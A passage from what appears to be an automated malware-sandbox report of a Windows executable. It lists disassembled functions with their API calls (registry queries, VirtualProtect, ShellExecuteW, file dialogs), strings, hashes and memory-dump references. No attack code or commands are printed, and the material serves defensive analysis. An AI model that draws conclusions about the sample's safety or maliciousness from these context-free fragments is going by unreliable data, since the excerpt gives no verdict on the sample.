[, xrefs: 0047569F

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_memset$CriticalInitializeSectionVersion
String ID: !@$4[$[$[
API String ID: 1439776824-573984393
Opcode ID: f6cdcf9e5209f496280de21f878bea33775a3dfe0d11f000bee28cbae6e171dd
Instruction ID: dbf5fe5d0be854726b5789bbc29cf0d9a9f6ef3976c8143a628423fa3c4f3b26
Opcode Fuzzy Hash: f6cdcf9e5209f496280de21f878bea33775a3dfe0d11f000bee28cbae6e171dd
Instruction Fuzzy Hash: EC6110B4805385DED780CF68E919799BFF4BB25308F14465DD0849B3A1E3B9360CEBA5

Function 004CE5E0 Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F02), ref: 004CE601
SetCursor.USER32(00000000), ref: 004CE608
LoadCursorW.USER32(00000000,00007F02), ref: 004CE649
SetCursor.USER32(00000000), ref: 004CE650
IsWindow.USER32(00000000), ref: 004CE6A3

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Cursor$Load$Window
String ID:
API String ID: 373611324-0
Opcode ID: 80d91b399186214c2651975e6940cc0bbb9066883ef3d4eb70c98f20f680720f
Instruction ID: 267e152b442c7c50a868fcf03e1327f48bcbf66dd67a20fd02bcc9c93849e241
Opcode Fuzzy Hash: 80d91b399186214c2651975e6940cc0bbb9066883ef3d4eb70c98f20f680720f
Instruction Fuzzy Hash: CA21BD38350300EBEB755B26C909F7A7394BF20B05F84041EF6429A2C0CBB8A841DB5D

Function 0050E359 Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0050E365

Part of subcall function 00500F9C: __FF_MSGBANNER.LIBCMT ref: 00500FB3
Part of subcall function 00500F9C: __NMSG_WRITE.LIBCMT ref: 00500FBA
Part of subcall function 00500F9C: HeapAlloc.KERNEL32(?,00000000,00000001,?,?,?,?,004FFD1B,?,B681F143), ref: 00500FDF

_free.LIBCMT ref: 0050E378

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: 76d684e341c728009a91389e18dedc87e07ec3a22d4821cbdf9cb951d379d52c
Instruction ID: 90c6dda660f17eee0961a91b50970eb708e17461c93d32334f97f4849b3dc1ec
Opcode Fuzzy Hash: 76d684e341c728009a91389e18dedc87e07ec3a22d4821cbdf9cb951d379d52c
Instruction Fuzzy Hash: 3A11A336508B17ABCB213B74AC4A69E3F99BF50361F304D25F9099B1E1EB74A8409B94

Function 004B41A0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 232registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,?,00000000,00000000,?,00000288), ref: 004B42C9

Part of subcall function 004B3610: FindClose.KERNEL32(00000000,B681F143,0040FFE5,005BE234,?,?,?,0054A882,000000FF,?,004B424C,?), ref: 004B3687
Part of subcall function 004B3610: ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 004B3720

Strings

!@, xrefs: 004B4206, 004B4255
%sPortable.xml, xrefs: 004B422B
aes, xrefs: 004B43A0

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CloseFileFindQueryReadValue
String ID: !@$%sPortable.xml$aes
API String ID: 1808956909-4193344564
Opcode ID: 01d5c5a24089f0c1a0fae5e8ec9ceb500feb15f0ec43c3dd4ae035b4ea993f7a
Instruction ID: 6f1b460700e761cc4abc6efbcd98f60330be9bf1a8f82da461a7fdec2389ad11
Opcode Fuzzy Hash: 01d5c5a24089f0c1a0fae5e8ec9ceb500feb15f0ec43c3dd4ae035b4ea993f7a
Instruction Fuzzy Hash: 99A1A570900218AFDB20DF64CC49BEEBBB4BF04718F50419AE509B7282DB785B88CF65

Function 00440760 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004408A2
GetSaveFileNameW.COMDLG32(00000058), ref: 00440928

Strings

!@, xrefs: 00440971, 00440A92
X, xrefs: 004408AE

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: FileNameSave_memset
String ID: !@$X
API String ID: 1534219092-4222592482
Opcode ID: 3ce067d345ddd39821ab6f349ea4c35892f0cd05f295f0354a6bba2d33233745
Instruction ID: c4718d24e90160dd7e81a3c53885e8b2e8944d4bd852699be5995abf9a0bf4a4
Opcode Fuzzy Hash: 3ce067d345ddd39821ab6f349ea4c35892f0cd05f295f0354a6bba2d33233745
Instruction Fuzzy Hash: 21A14B70608380CFE774DF24C849B9BBBE5BF95308F104A2EE59987291DB75A418CB97

Function 0044C240 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 215COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0044C382
GetOpenFileNameW.COMDLG32(00000058), ref: 0044C408

Strings

!@, xrefs: 0044C451, 0044C547
X, xrefs: 0044C38E

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: FileNameOpen_memset
String ID: !@$X
API String ID: 4292185452-4222592482
Opcode ID: 3e06d062255209bf364fbaa4e34eda6ee83036db0a724104dc5e9999704779f7
Instruction ID: 419109be963f109e5df0a888b0f0c5a29ee3271ce28584c256a495edffd8ffa3
Opcode Fuzzy Hash: 3e06d062255209bf364fbaa4e34eda6ee83036db0a724104dc5e9999704779f7
Instruction Fuzzy Hash: 2DA11970609380CBE774CF25C988B9BBBE5BF85308F144A2EE58D87291DB75A448CB57

Function 0045D560 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 213COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 0045D628

Strings

P[, xrefs: 0045D59B, 0045D610, 0045D5B7, 0045D59E, 0045D5BA, 0045D5BD
%02X, xrefs: 0045D620
string too long, xrefs: 0045D70F, 0045D724

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: swprintf
String ID: %02X$P[$string too long
API String ID: 233258989-3140238815
Opcode ID: 578cadafdf5bdef974289bf4a010da483039d6b53be4da2b58917b0b2a0fc817
Instruction ID: deeda1d00bbab7e01c028f3a80b60ca0d6727138760f4b33598e385c614afaa8
Opcode Fuzzy Hash: 578cadafdf5bdef974289bf4a010da483039d6b53be4da2b58917b0b2a0fc817
Instruction Fuzzy Hash: 8F71C230A00704DBCB34DF28C94566AB7B6FF45716F100A1FE8569B292DB38A949CB59

Function 0040E530 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 196COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0040E5A4

Part of subcall function 004FFB4F: std::exception::exception.LIBCMT ref: 004FFB62
Part of subcall function 004FFB4F: __CxxThrowException@8.LIBCMT ref: 004FFB77

_memmove.LIBCMT ref: 0040E699

Strings

invalid string position, xrefs: 0040E5DC
string too long, xrefs: 0040E5E6, 0040E6D1

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID: invalid string position$string too long
API String ID: 1300846289-4289949731
Opcode ID: 26c3fdafe75fd5700024fccce8ccdf70aea2c0196db8092c2fac52977c37c98c
Instruction ID: aa4102e58c6c43286d0ccc458aa3b3cdb30541468fe92a7b965e58d71fef123c
Opcode Fuzzy Hash: 26c3fdafe75fd5700024fccce8ccdf70aea2c0196db8092c2fac52977c37c98c
Instruction Fuzzy Hash: C951D4313006149BCB24DEAEED8086AB7AAFF917543500E3FE545DB390DB35E825C7A8

Function 0040A600 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0040A6DE
_memmove.LIBCMT ref: 0040A773

Strings

invalid string position, xrefs: 0040A790
string too long, xrefs: 0040A79A

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 64a0c07c99e04949df89832e99d8116ab603dda18bbbef98413db6cc4c0f47db
Instruction ID: a69163b2e96fa2249711881a697165a54b844723daba2c190f5e4f7669f899f2
Opcode Fuzzy Hash: 64a0c07c99e04949df89832e99d8116ab603dda18bbbef98413db6cc4c0f47db
Instruction Fuzzy Hash: E05172317003099BCF24DE28C98489E77B6FF85304724893FE8559B390D739E966CB9A

Function 00466060 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 170windowCOMMON

Download Yara Rule

APIs

SetForegroundWindow.USER32(00000000), ref: 0046628C
SetActiveWindow.USER32(00000000), ref: 004662A6
SetFocus.USER32(00000000), ref: 004662C0

Part of subcall function 004753C0: VirtualProtect.KERNEL32(HjG,?,00000020,00000000,B681F143), ref: 0047540A
Part of subcall function 004753C0: VirtualProtect.KERNEL32(HjG,?,00000000,00000000,00000002,HjG,?,00000000), ref: 00475435

Strings

1u, xrefs: 00466195

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: ProtectVirtualWindow$ActiveFocusForeground
String ID: 1u
API String ID: 2697890781-2817233150
Opcode ID: fdb71d3ed828612fed05d932ae2677de9f0da05e9d6dd450146f6a7cbc748e72
Instruction ID: a87d1e2915a41647f854ad2c7d0632d5b1ebbb119fa8b5f8ed265caea2f7a64d
Opcode Fuzzy Hash: fdb71d3ed828612fed05d932ae2677de9f0da05e9d6dd450146f6a7cbc748e72
Instruction Fuzzy Hash: DF611C349012188BDB54EF65C869BAEB3B1FF45308F1181EED80AA7391DB795E84CF45

Function 004B0600 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 152windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004B069C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004B07D9
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004B0812

Strings

[, xrefs: 004B0814

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: MessagePeek
String ID: [
API String ID: 2222842502-2256786511
Opcode ID: 322bef3801a2dbbe8944f4fa0cade74a7eaaa0be029c2669c8f392c14047479d
Instruction ID: e8331ff369a23e48e85c885c1b2399a239b9e469568beb0b79f2965cedccf8cb
Opcode Fuzzy Hash: 322bef3801a2dbbe8944f4fa0cade74a7eaaa0be029c2669c8f392c14047479d
Instruction Fuzzy Hash: 14516C74600300DFD714DB58C996FA6B7A5FB48704F1845BEEA0A9B392DB747804CBA9

Function 004C12A0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 121COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004C12EA
GetFullPathNameW.KERNEL32(?,00000104,?,00000000,0056C40C,?,00000001,00000000,00000000,0056C40C,?,00000001), ref: 004C13C9

Part of subcall function 004FFB7D: std::exception::exception.LIBCMT ref: 004FFB90
Part of subcall function 004FFB7D: __CxxThrowException@8.LIBCMT ref: 004FFBA5

Strings

!@, xrefs: 004C1321, 004C141A
invalid string position, xrefs: 004C1375

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Exception@8FullNamePathThrow_memsetstd::exception::exception
String ID: !@$invalid string position
API String ID: 12894150-4214978026
Opcode ID: 896a792ceaf226620ef751836e4b23eb6f03d61a4e2059098aef535d7957c07b
Instruction ID: c29c8f85dea9c510691d525036f1e75d0a9a6a17f5f625b3f52d4179c928aac1
Opcode Fuzzy Hash: 896a792ceaf226620ef751836e4b23eb6f03d61a4e2059098aef535d7957c07b
Instruction Fuzzy Hash: 2B418F7595021C9ADB20DF55CC99BDAB7B8FF54708F0042EEE409A32A1EB786B84CF54

Function 00424600 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GdipCreateStringFormat.GDIPLUS(00000000,00000000,?,?,?,?,?,?,0053A0F8,000000FF), ref: 0042463D
GdipSetStringFormatLineAlign.GDIPLUS(?,00000001,?,?,?,?,?,?,?,?,?,?,0053A0F8,000000FF), ref: 00424655
GdipDeleteStringFormat.GDIPLUS(00000000, - - - -,00000000,00000000,?,?,00000000,?,FF323232), ref: 004246B2

Strings

- - - -, xrefs: 0042469C

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: FormatGdipString$AlignCreateDeleteLine
String ID: - - - -
API String ID: 2084024313-344715758
Opcode ID: 97e33a1792a53acda723ecc13f237b07042b9f0a6aa92eccae55c5c72e4364c0
Instruction ID: cf0d635ac4439fc5101e54e632b722e79c54ec9e93b75e42b6859e8e9b21946c
Opcode Fuzzy Hash: 97e33a1792a53acda723ecc13f237b07042b9f0a6aa92eccae55c5c72e4364c0
Instruction Fuzzy Hash: A8219A75208342EFC714CF14CC05F9ABBE8FB89720F004A2EB9A5922D0EB74A508CB56

Function 004A5760 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,B681F143,00000002,<,X,00000000,005499CE,000000FF,?,0041D91F), ref: 004A57A3
DeleteCriticalSection.KERNEL32(?,B681F143,00000002,<,X,00000000,005499CE,000000FF,?,0041D91F), ref: 004A57C6

Strings

<,X, xrefs: 004A577B
<,X, xrefs: 004A5771, 004A57EE

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CloseCriticalDeleteHandleSection
String ID: <,X$<,X
API String ID: 1370521891-3556952042
Opcode ID: de776cba25faf2730d988c9ba960061ed55d5fb4e8effe73e671f8035add70eb
Instruction ID: 8c59a083403ac473de118185c29afedb6f71d19fe6a6320f31f613d6141e5874
Opcode Fuzzy Hash: de776cba25faf2730d988c9ba960061ed55d5fb4e8effe73e671f8035add70eb
Instruction Fuzzy Hash: 1B11A0B5904718EBDB20CF54C90879EBBF8FB15724F108B1EE865933C0D7B9AA048B84

Function 00413100 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000000), ref: 00413141
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 00413158

Strings

:\, xrefs: 00413113
open, xrefs: 00413151

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
